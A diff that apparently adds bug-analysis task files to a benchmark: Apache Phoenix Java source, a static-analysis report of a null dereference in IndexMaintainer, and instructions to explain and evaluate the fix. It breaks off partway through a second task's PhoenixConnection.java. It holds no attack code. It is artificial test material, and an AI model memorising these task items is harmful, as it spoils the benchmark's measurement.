+        try (ByteArrayOutputStream stream = new ByteArrayOutputStream()) {
+            DataOutput output = new DataOutputStream(stream);
+            maintainer.rowKeyMetaData.write(output);
+            builder.setRowKeyMetadata(ByteStringer.wrap(stream.toByteArray()));
+        }
+        builder.setNumDataTableColFamilies(maintainer.nDataCFs);
+        builder.setIndexWalDisabled(maintainer.indexWALDisabled);
+        builder.setIndexRowKeyByteSize(maintainer.estimatedIndexRowKeyBytes);
+        builder.setImmutable(maintainer.immutableRows);
+        for (Pair<String, String> p : maintainer.indexedColumnsInfo) {
+            ServerCachingProtos.ColumnInfo.Builder ciBuilder = ServerCachingProtos.ColumnInfo.newBuilder();
+            if (p.getFirst() != null) {
+                ciBuilder.setFamilyName(p.getFirst());
+            }
+            ciBuilder.setColumnName(p.getSecond());
+            builder.addIndexedColumnInfo(ciBuilder.build());
+        }
+        builder.setEncodingScheme(maintainer.encodingScheme.getSerializedMetadataValue());
+        builder.setImmutableStorageScheme(maintainer.immutableStorageScheme.getSerializedMetadataValue());
+        return builder.build();
+    }
+
+    public int getEstimatedByteSize() {
+        int size = WritableUtils.getVIntSize(nIndexSaltBuckets);
+        size += WritableUtils.getVIntSize(estimatedIndexRowKeyBytes);
+        size += WritableUtils.getVIntSize(indexedColumns.size());
+        size += viewIndexId == null ? 0 : viewIndexId.length;
+        for (ColumnReference ref : indexedColumns) {
+            size += WritableUtils.getVIntSize(ref.getFamily().length);
+            size += ref.getFamily().length;
+            size += WritableUtils.getVIntSize(ref.getQualifier().length);
+            size += ref.getQualifier().length;
+        }
+        for (int i = 0; i < indexedColumnTypes.size(); i++) {
+            PDataType type = indexedColumnTypes.get(i);
+            size += WritableUtils.getVIntSize(type.ordinal());
+        }
+        Set<ColumnReference> dataTableColRefs = coveredColumnsMap.keySet();
+        size += WritableUtils.getVIntSize(dataTableColRefs.size());
+        for (ColumnReference ref : dataTableColRefs) {
+            size += WritableUtils.getVIntSize(ref.getFamilyWritable().getSize());
+            size += ref.getFamily().length;
+            size += WritableUtils.getVIntSize(ref.getQualifierWritable().getSize());
+            size += ref.getQualifier().length;
+        }
+        size += indexTableName.length + WritableUtils.getVIntSize(indexTableName.length);
+        size += rowKeyMetaData.getByteSize();
+        size += dataEmptyKeyValueCF.length + WritableUtils.getVIntSize(dataEmptyKeyValueCF.length);
+        size += emptyKeyValueCFPtr.getLength() + WritableUtils.getVIntSize(emptyKeyValueCFPtr.getLength());
+        size += WritableUtils.getVIntSize(nDataCFs+1);
+        size += WritableUtils.getVIntSize(indexedExpressions.size());
+        for (Expression expression : indexedExpressions) {
+            size += WritableUtils.getVIntSize(ExpressionType.valueOf(expression).ordinal());
+        }
+        size += estimatedExpressionSize;
+        return size;
+    }
+    
+    private int estimateIndexRowKeyByteSize(int indexColByteSize) {
+        int estimatedIndexRowKeyBytes = indexColByteSize + dataRowKeySchema.getEstimatedValueLength() + (nIndexSaltBuckets == 0 || isLocalIndex || this.isDataTableSalted ? 0 : SaltingUtil.NUM_SALTING_BYTES);
+        return estimatedIndexRowKeyBytes;
+    }
+    
+    /**
+     * Init calculated state reading/creating
+     */
+    private void initCachedState() {
+        byte[] emptyKvQualifier = EncodedColumnsUtil.getEmptyKeyValueInfo(encodingScheme).getFirst();
+        dataEmptyKeyValueRef = new ColumnReference(emptyKeyValueCFPtr.copyBytesIfNecessary(), emptyKvQualifier);
+        this.allColumns = Sets.newLinkedHashSetWithExpectedSize(indexedExpressions.size() + coveredColumnsMap.size());
+        // columns that are required to evaluate all expressions in indexedExpressions (not including columns in data row key)
+        this.indexedColumns = Sets.newLinkedHashSetWithExpectedSize(indexedExpressions.size());
+        for (Expression expression : indexedExpressions) {
+        	KeyValueExpressionVisitor visitor = new KeyValueExpressionVisitor() {
+                @Override
+                public Void visit(KeyValueColumnExpression expression) {
+                	if (indexedColumns.add(new ColumnReference(expression.getColumnFamily(), expression.getColumnQualifier()))) {
+                		indexedColumnTypes.add(expression.getDataType());
+                	}
+                    return null;
+                }
+            };
+            expression.accept(visitor);
+        }
+        allColumns.addAll(indexedColumns);
+        for (ColumnReference colRef : coveredColumnsMap.keySet()) {
+            if (immutableStorageScheme==ImmutableStorageScheme.ONE_CELL_PER_COLUMN) {
+                allColumns.add(colRef);
+            } else {
+                allColumns.add(new ColumnReference(colRef.getFamily(), QueryConstants.SINGLE_KEYVALUE_COLUMN_QUALIFIER_BYTES));
+            }
+        }
+        
+        int dataPkOffset = (isDataTableSalted ? 1 : 0) + (isMultiTenant ? 1 : 0);
+        int nIndexPkColumns = getIndexPkColumnCount();
+        dataPkPosition = new int[nIndexPkColumns];
+        Arrays.fill(dataPkPosition, EXPRESSION_NOT_PRESENT);
+        int numViewConstantColumns = 0;
+        BitSet viewConstantColumnBitSet = rowKeyMetaData.getViewConstantColumnBitSet();
+        for (int i = dataPkOffset; i < dataRowKeySchema.getFieldCount(); i++) {
+            if (!viewConstantColumnBitSet.get(i)) {
+                int indexPkPosition = rowKeyMetaData.getIndexPkPosition(i-dataPkOffset);
+                this.dataPkPosition[indexPkPosition] = i;
+            } else {
+                numViewConstantColumns++;
+            }
+        }
+        
+        // Calculate the max number of trailing nulls that we should get rid of after building the index row key.
+        // We only get rid of nulls for variable length types, so we have to be careful to consider the type of the
+        // index table, not the data type of the data table
+        int expressionsPos = indexedExpressions.size();
+        int indexPkPos = nIndexPkColumns - numViewConstantColumns - 1;
+        while (indexPkPos >= 0) {
+            int dataPkPos = dataPkPosition[indexPkPos];
+            boolean isDataNullable;
+            PDataType dataType;
+            if (dataPkPos == EXPRESSION_NOT_PRESENT) {
+                isDataNullable = true;
+                dataType = indexedExpressions.get(--expressionsPos).getDataType();
+            } else {
+                Field dataField = dataRowKeySchema.getField(dataPkPos);
+                dataType = dataField.getDataType();
+                isDataNullable = dataField.isNullable();
+            }
+            PDataType indexDataType = IndexUtil.getIndexColumnDataType(isDataNullable, dataType);
+            if (indexDataType.isFixedWidth()) {
+                break;
+            }
+            indexPkPos--;
+        }
+        maxTrailingNulls = nIndexPkColumns-indexPkPos-1;
+    }
+
+    private int getIndexPkColumnCount() {
+        return getIndexPkColumnCount(dataRowKeySchema, indexedExpressions.size(), isDataTableSalted, isMultiTenant);
+    }
+    
+    private static int getIndexPkColumnCount(RowKeySchema rowKeySchema, int numIndexExpressions, boolean isDataTableSalted, boolean isMultiTenant) {
+        return rowKeySchema.getFieldCount() + numIndexExpressions - (isDataTableSalted ? 1 : 0) - (isMultiTenant ? 1 : 0);
+    }
+    
+    private RowKeyMetaData newRowKeyMetaData() {
+        return getIndexPkColumnCount() < 0xFF ? new ByteSizeRowKeyMetaData() : new IntSizedRowKeyMetaData();
+    }
+    
+    private static RowKeyMetaData newRowKeyMetaData(IndexMaintainer i, RowKeySchema rowKeySchema, int numIndexExpressions, boolean isDataTableSalted, boolean isMultiTenant) {
+        int indexPkColumnCount = getIndexPkColumnCount(rowKeySchema, numIndexExpressions, isDataTableSalted, isMultiTenant);
+        return indexPkColumnCount < 0xFF ? i.new ByteSizeRowKeyMetaData() : i.new IntSizedRowKeyMetaData();
+    }
+
+    private RowKeyMetaData newRowKeyMetaData(int capacity) {
+        return capacity < 0xFF ? new ByteSizeRowKeyMetaData(capacity) : new IntSizedRowKeyMetaData(capacity);
+    }
+
+    private static void writeInverted(byte[] buf, int offset, int length, DataOutput output) throws IOException {
+        for (int i = offset; i < offset + length; i++) {
+            byte b = SortOrder.invert(buf[i]);
+            output.write(b);
+        }
+    }
+    
+    private abstract class RowKeyMetaData implements Writable {
+        private BitSet descIndexColumnBitSet;
+        private BitSet viewConstantColumnBitSet;
+        
+        private RowKeyMetaData() {
+        }
+        
+        private RowKeyMetaData(int nIndexedColumns) {
+            descIndexColumnBitSet = BitSet.withCapacity(nIndexedColumns);
+            viewConstantColumnBitSet = BitSet.withCapacity(dataRowKeySchema.getMaxFields()); // Size based on number of data PK columns
+      }
+        
+        protected int getByteSize() {
+            return BitSet.getByteSize(getIndexPkColumnCount()) * 3 + BitSet.getByteSize(dataRowKeySchema.getMaxFields());
+        }
+        
+        protected abstract int getIndexPkPosition(int dataPkPosition);
+        protected abstract int setIndexPkPosition(int dataPkPosition, int indexPkPosition);
+        
+        @Override
+        public void readFields(DataInput input) throws IOException {
+            int length = getIndexPkColumnCount();
+            descIndexColumnBitSet = BitSet.read(input, length);
+            int vclength = dataRowKeySchema.getMaxFields();
+            viewConstantColumnBitSet = BitSet.read(input, vclength);
+        }
+        
+        @Override
+        public void write(DataOutput output) throws IOException {
+            int length = getIndexPkColumnCount();
+            BitSet.write(output, descIndexColumnBitSet, length);
+            int vclength = dataRowKeySchema.getMaxFields();
+            BitSet.write(output, viewConstantColumnBitSet, vclength);
+        }
+
+        private BitSet getDescIndexColumnBitSet() {
+            return descIndexColumnBitSet;
+        }
+
+        private BitSet getViewConstantColumnBitSet() {
+            return viewConstantColumnBitSet;
+        }
+    }
+    
+    private static int BYTE_OFFSET = 127;
+    
+    private class ByteSizeRowKeyMetaData extends RowKeyMetaData {
+        private byte[] indexPkPosition;
+        
+        private ByteSizeRowKeyMetaData() {
+        }
+
+        private ByteSizeRowKeyMetaData(int nIndexedColumns) {
+            super(nIndexedColumns);
+            this.indexPkPosition = new byte[nIndexedColumns];
+        }
+        
+        @Override
+        protected int getIndexPkPosition(int dataPkPosition) {
+            // Use offset for byte so that we can get full range of 0 - 255
+            // We use -128 as marker for a non row key index column,
+            // that's why our offset if 127 instead of 128
+            return this.indexPkPosition[dataPkPosition] + BYTE_OFFSET;
+        }
+
+        @Override
+        protected int setIndexPkPosition(int dataPkPosition, int indexPkPosition) {
+            return this.indexPkPosition[dataPkPosition] = (byte)(indexPkPosition - BYTE_OFFSET);
+        }
+
+        @Override
+        public void write(DataOutput output) throws IOException {
+            super.write(output);
+            output.write(indexPkPosition);
+        }
+
+        @Override
+        protected int getByteSize() {
+            return super.getByteSize() + indexPkPosition.length;
+        }
+
+        @Override
+        public void readFields(DataInput input) throws IOException {
+            super.readFields(input);
+            this.indexPkPosition = new byte[getIndexPkColumnCount()];
+            input.readFully(indexPkPosition);
+        }
+    }
+    
+    private class IntSizedRowKeyMetaData extends RowKeyMetaData {
+        private int[] indexPkPosition;
+        
+        private IntSizedRowKeyMetaData() {
+        }
+
+        private IntSizedRowKeyMetaData(int nIndexedColumns) {
+            super(nIndexedColumns);
+            this.indexPkPosition = new int[nIndexedColumns];
+        }
+        
+        @Override
+        protected int getIndexPkPosition(int dataPkPosition) {
+            return this.indexPkPosition[dataPkPosition];
+        }
+
+        @Override
+        protected int setIndexPkPosition(int dataPkPosition, int indexPkPosition) {
+            return this.indexPkPosition[dataPkPosition] = indexPkPosition;
+        }
+        
+        @Override
+        public void write(DataOutput output) throws IOException {
+            super.write(output);
+            for (int i = 0; i < indexPkPosition.length; i++) {
+                output.writeInt(indexPkPosition[i]);
+            }
+        }
+
+        @Override
+        protected int getByteSize() {
+            return super.getByteSize() + indexPkPosition.length * Bytes.SIZEOF_INT;
+        }
+
+        @Override
+        public void readFields(DataInput input) throws IOException {
+            super.readFields(input);
+            this.indexPkPosition = new int[getIndexPkColumnCount()];
+            for (int i = 0; i < indexPkPosition.length; i++) {
+                indexPkPosition[i] = input.readInt();
+            }
+        }
+    }
+
+    @Override
+    public Iterator<ColumnReference> iterator() {
+        return allColumns.iterator();
+    }
+
+    public ValueGetter createGetterFromKeyValues(final byte[] rowKey, Collection<? extends Cell> pendingUpdates) {
+        final Map<ColumnReference, ImmutableBytesPtr> valueMap = Maps.newHashMapWithExpectedSize(pendingUpdates
+                .size());
+        for (Cell kv : pendingUpdates) {
+            // create new pointers to each part of the kv
+            ImmutableBytesPtr value = new ImmutableBytesPtr(kv.getValueArray(), kv.getValueOffset(), kv.getValueLength());
+            valueMap.put(new ColumnReference(kv.getFamilyArray(), kv.getFamilyOffset(), kv.getFamilyLength(), kv.getQualifierArray(), kv.getQualifierOffset(), kv.getQualifierLength()), value);
+        }
+        return new ValueGetter() {
+            @Override
+            public ImmutableBytesWritable getLatestValue(ColumnReference ref) {
+                if(ref.equals(dataEmptyKeyValueRef)) return null;
+                return valueMap.get(ref);
+            }
+            @Override
+            public byte[] getRowKey() {
+            	return rowKey;
+            }
+        };
+    }
+
+    public byte[] getDataEmptyKeyValueCF() {
+        return dataEmptyKeyValueCF;
+    }
+    
+    public boolean isLocalIndex() {
+        return isLocalIndex;
+    }
+    
+    public boolean isImmutableRows() {
+        return immutableRows;
+    }
+    
+    public Set<ColumnReference> getIndexedColumns() {
+        return indexedColumns;
+    }
+
+    public static class UDFParseNodeVisitor extends StatelessTraverseAllParseNodeVisitor {
+
+        private Map<String, UDFParseNode> udfParseNodes;
+        public UDFParseNodeVisitor() {
+            udfParseNodes = new HashMap<String, UDFParseNode>(1);
+        }
+
+        @Override
+        public boolean visitEnter(FunctionParseNode node) throws SQLException {
+            if(node instanceof UDFParseNode) {
+                udfParseNodes.put(node.getName(), (UDFParseNode)node);
+            }
+            return super.visitEnter(node);
+        }
+        
+        public Map<String, UDFParseNode> getUdfParseNodes() {
+            return udfParseNodes;
+        }
+    }
+    
+    public byte[] getEmptyKeyValueQualifier() {
+        return dataEmptyKeyValueRef.getQualifier();
+    }
+    
+    public Set<Pair<String, String>> getIndexedColumnInfo() {
+        return indexedColumnsInfo;
+    }
+    
+    public ImmutableStorageScheme getIndexStorageScheme() {
+        return immutableStorageScheme;
+    }
+    
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `dataRowKey` last assigned on line 799 could be null and is dereferenced at line 800.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+byte[] IndexMaintainer.getViewIndexIdFromIndexRowKey(ImmutableBytesWritable)
+
+### Procedure Id:
+org.apache.phoenix.index.IndexMaintainer.getViewIndexIdFromIndexRowKey(org.apache.hadoop.hbase.io.Im.6e02194159d959add3edf8f40dafc4e7
+
+### File:
+phoenix-core/src/main/java/org/apache/phoenix/index/IndexMaintainer.java
+
+### Key:
+IndexMaintainer.java|getViewIndexIdFromIndexRowKey|NULL_DEREFERENCE
+
+### Node Key:
+1aec81040db5fe5f93084300c5be3de6
+
+### Hash:
+647ca4f2c3571e50e5aa86f8f1843b2e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6038/instruction.md b/inferredbugs-6038/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..29b75f80d9cc6aea2e631553de7dc61432bbdd8b
--- /dev/null
+++ b/inferredbugs-6038/instruction.md
@@ -0,0 +1,747 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** phoenix
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.phoenix.jdbc;
+
+import java.io.EOFException;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.io.Reader;
+import java.sql.Array;
+import java.sql.Blob;
+import java.sql.CallableStatement;
+import java.sql.Clob;
+import java.sql.Connection;
+import java.sql.DatabaseMetaData;
+import java.sql.NClob;
+import java.sql.ParameterMetaData;
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
+import java.sql.ResultSetMetaData;
+import java.sql.SQLClientInfoException;
+import java.sql.SQLException;
+import java.sql.SQLFeatureNotSupportedException;
+import java.sql.SQLWarning;
+import java.sql.SQLXML;
+import java.sql.Savepoint;
+import java.sql.Statement;
+import java.sql.Struct;
+import java.text.Format;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import java.util.concurrent.Executor;
+
+import javax.annotation.Nullable;
+
+import org.apache.phoenix.client.KeyValueBuilder;
+import org.apache.phoenix.exception.SQLExceptionCode;
+import org.apache.phoenix.exception.SQLExceptionInfo;
+import org.apache.phoenix.execute.MutationState;
+import org.apache.phoenix.expression.function.FunctionArgumentType;
+import org.apache.phoenix.jdbc.PhoenixStatement.PhoenixStatementParser;
+import org.apache.phoenix.query.ConnectionQueryServices;
+import org.apache.phoenix.query.DelegateConnectionQueryServices;
+import org.apache.phoenix.query.MetaDataMutated;
+import org.apache.phoenix.query.QueryConstants;
+import org.apache.phoenix.query.QueryServices;
+import org.apache.phoenix.query.QueryServicesOptions;
+import org.apache.phoenix.schema.PArrayDataType;
+import org.apache.phoenix.schema.PColumn;
+import org.apache.phoenix.schema.PDataType;
+import org.apache.phoenix.schema.PMetaData;
+import org.apache.phoenix.schema.PMetaDataImpl;
+import org.apache.phoenix.schema.PName;
+import org.apache.phoenix.schema.PTable;
+import org.apache.phoenix.util.DateUtil;
+import org.apache.phoenix.util.JDBCUtil;
+import org.apache.phoenix.util.NumberUtil;
+import org.apache.phoenix.util.PhoenixRuntime;
+import org.apache.phoenix.util.ReadOnlyProps;
+import org.apache.phoenix.util.SQLCloseable;
+import org.apache.phoenix.util.SQLCloseables;
+
+import com.google.common.base.Strings;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+
+
+/**
+ * 
+ * JDBC Connection implementation of Phoenix.
+ * Currently the following are supported:
+ * - Statement
+ * - PreparedStatement
+ * The connection may only be used with the following options:
+ * - ResultSet.TYPE_FORWARD_ONLY
+ * - Connection.TRANSACTION_READ_COMMITTED
+ * 
+ * 
+ * @since 0.1
+ */
+public class PhoenixConnection implements Connection, org.apache.phoenix.jdbc.Jdbc7Shim.Connection, MetaDataMutated  {
+    private final String url;
+    private final ConnectionQueryServices services;
+    private final Properties info;
+    private List<SQLCloseable> statements = new ArrayList<SQLCloseable>();
+    private final Format[] formatters = new Format[PDataType.values().length];
+    private final MutationState mutationState;
+    private final int mutateBatchSize;
+    private final Long scn;
+    private boolean isAutoCommit = false;
+    private PMetaData metaData;
+    private final PName tenantId;
+    private final String datePattern;
+    
+    private boolean isClosed = false;
+    
+    private static Properties newPropsWithSCN(long scn, Properties props) {
+        props = new Properties(props);
+        props.setProperty(PhoenixRuntime.CURRENT_SCN_ATTRIB, Long.toString(scn));
+        return props;
+    }
+    
+    public PhoenixConnection(PhoenixConnection connection) throws SQLException {
+        this(connection.getQueryServices(), connection.getURL(), connection.getClientInfo(), connection.getPMetaData());
+        this.isAutoCommit = connection.isAutoCommit;
+    }
+    
+    public PhoenixConnection(PhoenixConnection connection, long scn) throws SQLException {
+        this(connection.getQueryServices(), connection, scn);
+    }
+    
+    public PhoenixConnection(ConnectionQueryServices services, PhoenixConnection connection, long scn) throws SQLException {
+        this(services, connection.getURL(), newPropsWithSCN(scn,connection.getClientInfo()), PMetaDataImpl.pruneNewerTables(scn, connection.getPMetaData()));
+        this.isAutoCommit = connection.isAutoCommit;
+    }
+    
+    @SuppressWarnings("unchecked")
+    public PhoenixConnection(ConnectionQueryServices services, String url, Properties info, PMetaData metaData) throws SQLException {
+        this.url = url;
+        // Copy so client cannot change
+        this.info = info == null ? new Properties() : new Properties(info);
+        if (this.info.isEmpty()) {
+            this.services = services;
+        } else {
+            Map<String, String> existingProps = services.getProps().asMap();
+            Map<String, String> tmpAugmentedProps = Maps.newHashMapWithExpectedSize(existingProps.size() + info.size());
+            tmpAugmentedProps.putAll(existingProps);
+            tmpAugmentedProps.putAll((Map)this.info);
+            final ReadOnlyProps augmentedProps = new ReadOnlyProps(tmpAugmentedProps);
+            this.services = new DelegateConnectionQueryServices(services) {
+    
+                @Override
+                public ReadOnlyProps getProps() {
+                    return augmentedProps;
+                }
+            };
+        }
+        this.scn = JDBCUtil.getCurrentSCN(url, this.info);
+        this.tenantId = JDBCUtil.getTenantId(url, this.info);
+        this.mutateBatchSize = JDBCUtil.getMutateBatchSize(url, this.info, services.getProps());
+        datePattern = services.getProps().get(QueryServices.DATE_FORMAT_ATTRIB, DateUtil.DEFAULT_DATE_FORMAT);
+        String numberPattern = services.getProps().get(QueryServices.NUMBER_FORMAT_ATTRIB, NumberUtil.DEFAULT_NUMBER_FORMAT);
+        int maxSize = services.getProps().getInt(QueryServices.MAX_MUTATION_SIZE_ATTRIB,QueryServicesOptions.DEFAULT_MAX_MUTATION_SIZE);
+        Format dateTimeFormat = DateUtil.getDateFormatter(datePattern);
+        formatters[PDataType.DATE.ordinal()] = dateTimeFormat;
+        formatters[PDataType.TIME.ordinal()] = dateTimeFormat;
+        formatters[PDataType.DECIMAL.ordinal()] = FunctionArgumentType.NUMERIC.getFormatter(numberPattern);
+        this.metaData = PMetaDataImpl.pruneMultiTenant(metaData);
+        this.mutationState = new MutationState(maxSize, this);
+        services.addConnection(this);
+    }
+
+    public int executeStatements(Reader reader, List<Object> binds, PrintStream out) throws IOException, SQLException {
+        int bindsOffset = 0;
+        int nStatements = 0;
+        PhoenixStatementParser parser = new PhoenixStatementParser(reader);
+        try {
+            while (true) {
+                PhoenixPreparedStatement stmt = new PhoenixPreparedStatement(this, parser);
+                ParameterMetaData paramMetaData = stmt.getParameterMetaData();
+                for (int i = 0; i < paramMetaData.getParameterCount(); i++) {
+                    stmt.setObject(i+1, binds.get(bindsOffset+i));
+                }
+                long start = System.currentTimeMillis();
+                boolean isQuery = stmt.execute();
+                if (isQuery) {
+                    ResultSet rs = stmt.getResultSet();
+                    if (!rs.next()) {
+                        if (out != null) {
+                            out.println("no rows selected");
+                        }
+                    } else {
+                        int columnCount = 0;
+                        if (out != null) {
+                            ResultSetMetaData md = rs.getMetaData();
+                            columnCount = md.getColumnCount();
+                            for (int i = 1; i <= columnCount; i++) {
+                                int displayWidth = md.getColumnDisplaySize(i);
+                                String label = md.getColumnLabel(i);
+                                if (md.isSigned(i)) {
+                                    out.print(displayWidth < label.length() ? label.substring(0,displayWidth) : Strings.padStart(label, displayWidth, ' '));
+                                    out.print(' ');
+                                } else {
+                                    out.print(displayWidth < label.length() ? label.substring(0,displayWidth) : Strings.padEnd(md.getColumnLabel(i), displayWidth, ' '));
+                                    out.print(' ');
+                                }
+                            }
+                            out.println();
+                            for (int i = 1; i <= columnCount; i++) {
+                                int displayWidth = md.getColumnDisplaySize(i);
+                                out.print(Strings.padStart("", displayWidth,'-'));
+                                out.print(' ');
+                            }
+                            out.println();
+                        }
+                        do {
+                            if (out != null) {
+                                ResultSetMetaData md = rs.getMetaData();
+                                for (int i = 1; i <= columnCount; i++) {
+                                    int displayWidth = md.getColumnDisplaySize(i);
+                                    String value = rs.getString(i);
+                                    String valueString = value == null ? QueryConstants.NULL_DISPLAY_TEXT : value;
+                                    if (md.isSigned(i)) {
+                                        out.print(Strings.padStart(valueString, displayWidth, ' '));
+                                    } else {
+                                        out.print(Strings.padEnd(valueString, displayWidth, ' '));
+                                    }
+                                    out.print(' ');
+                                }
+                                out.println();
+                            }
+                        } while (rs.next());
+                    }
+                } else if (out != null){
+                    int updateCount = stmt.getUpdateCount();
+                    if (updateCount >= 0) {
+                        out.println((updateCount == 0 ? "no" : updateCount) + (updateCount == 1 ? " row " : " rows ") + stmt.getUpdateOperation().toString());
+                    }
+                }
+                bindsOffset += paramMetaData.getParameterCount();
+                double elapsedDuration = ((System.currentTimeMillis() - start) / 1000.0);
+                out.println("Time: " + elapsedDuration + " sec(s)\n");
+                nStatements++;
+            }
+        } catch (EOFException e) {
+        }
+        return nStatements;
+    }
+
+    public @Nullable PName getTenantId() {
+        return tenantId;
+    }
+    
+    public Long getSCN() {
+        return scn;
+    }
+    
+    public int getMutateBatchSize() {
+        return mutateBatchSize;
+    }
+    
+    public PMetaData getPMetaData() {
+        return metaData;
+    }
+
+    public MutationState getMutationState() {
+        return mutationState;
+    }
+    
+    public String getDatePattern() {
+        return datePattern;
+    }
+    
+    public Format getFormatter(PDataType type) {
+        return formatters[type.ordinal()];
+    }
+    
+    public String getURL() {
+        return url;
+    }
+    
+    public ConnectionQueryServices getQueryServices() {
+        return services;
+    }
+    
+    @Override
+    public void clearWarnings() throws SQLException {
+    }
+
+    private void closeStatements() throws SQLException {
+        List<SQLCloseable> statements = this.statements;
+        // create new list to prevent close of statements
+        // from modifying this list.
+        this.statements = Lists.newArrayList();
+        try {
+            mutationState.rollback(this);
+        } finally {
+            try {
+                SQLCloseables.closeAll(statements);
+            } finally {
+                statements.clear();
+            }
+        }
+    }
+    
+    @Override
+    public void close() throws SQLException {
+        if (isClosed) {
+            return;
+        }
+        try {
+            try {
+                closeStatements();
+            } finally {
+                services.removeConnection(this);
+            }
+        } finally {
+            isClosed = true;
+        }
+    }
+
+    @Override
+    public void commit() throws SQLException {
+        mutationState.commit();
+    }
+
+    @Override
+    public Array createArrayOf(String typeName, Object[] elements) throws SQLException {
+    	PDataType arrayPrimitiveType = PDataType.fromSqlTypeName(typeName);
+    	return PArrayDataType.instantiatePhoenixArray(arrayPrimitiveType, elements);
+    }
+
+    @Override
+    public Blob createBlob() throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public Clob createClob() throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public NClob createNClob() throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public SQLXML createSQLXML() throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public Statement createStatement() throws SQLException {
+        PhoenixStatement statement = new PhoenixStatement(this);
+        statements.add(statement);
+        return statement;
+    }
+
+    /**
+     * Back-door way to inject processing into walking through a result set
+     * @param statementFactory
+     * @return PhoenixStatement
+     * @throws SQLException
+     */
+    public PhoenixStatement createStatement(PhoenixStatementFactory statementFactory) throws SQLException {
+        PhoenixStatement statement = statementFactory.newStatement(this);
+        statements.add(statement);
+        return statement;
+    }
+
+    @Override
+    public Statement createStatement(int resultSetType, int resultSetConcurrency) throws SQLException {
+        if (resultSetType != ResultSet.TYPE_FORWARD_ONLY || resultSetConcurrency != ResultSet.CONCUR_READ_ONLY) {
+            throw new SQLFeatureNotSupportedException();
+        }
+        return createStatement();
+    }
+
+    @Override
+    public Statement createStatement(int resultSetType, int resultSetConcurrency, int resultSetHoldability)
+            throws SQLException {
+        if (resultSetHoldability != ResultSet.CLOSE_CURSORS_AT_COMMIT) {
+            throw new SQLFeatureNotSupportedException();
+        }
+        return createStatement(resultSetType, resultSetConcurrency);
+    }
+
+    @Override
+    public Struct createStruct(String typeName, Object[] attributes) throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public boolean getAutoCommit() throws SQLException {
+        return isAutoCommit;
+    }
+
+    @Override
+    public String getCatalog() throws SQLException {
+        return "";
+    }
+
+    @Override
+    public Properties getClientInfo() throws SQLException { 
+        // Defensive copy so client cannot change
+        return new Properties(info);
+    }
+
+    @Override
+    public String getClientInfo(String name) {
+        return info.getProperty(name);
+    }
+
+    @Override
+    public int getHoldability() throws SQLException {
+        return ResultSet.CLOSE_CURSORS_AT_COMMIT;
+    }
+
+    @Override
+    public DatabaseMetaData getMetaData() throws SQLException {
+        return new PhoenixDatabaseMetaData(this);
+    }
+
+    @Override
+    public int getTransactionIsolation() throws SQLException {
+        return Connection.TRANSACTION_READ_COMMITTED;
+    }
+
+    @Override
+    public Map<String, Class<?>> getTypeMap() throws SQLException {
+        return Collections.emptyMap();
+    }
+
+    @Override
+    public SQLWarning getWarnings() throws SQLException {
+        return null;
+    }
+
+    @Override
+    public boolean isClosed() throws SQLException {
+        return isClosed;
+    }
+
+    @Override
+    public boolean isReadOnly() throws SQLException {
+        return true;
+    }
+
+    @Override
+    public boolean isValid(int timeout) throws SQLException {
+        // TODO: run query here or ping
+        return !isClosed;
+    }
+
+    @Override
+    public String nativeSQL(String sql) throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public CallableStatement prepareCall(String sql) throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public CallableStatement prepareCall(String sql, int resultSetType, int resultSetConcurrency) throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public CallableStatement prepareCall(String sql, int resultSetType, int resultSetConcurrency,
+            int resultSetHoldability) throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public PreparedStatement prepareStatement(String sql) throws SQLException {
+        PhoenixPreparedStatement statement = new PhoenixPreparedStatement(this, sql);
+        statements.add(statement);
+        return statement;
+    }
+
+    @Override
+    public PreparedStatement prepareStatement(String sql, int autoGeneratedKeys) throws SQLException {
+        throw new SQLFeatureNotSupportedException();
+    }
+
+    @Override
+    public PreparedStatement prepareStatement(String sql, int[] columnIndexes) throws SQLException {
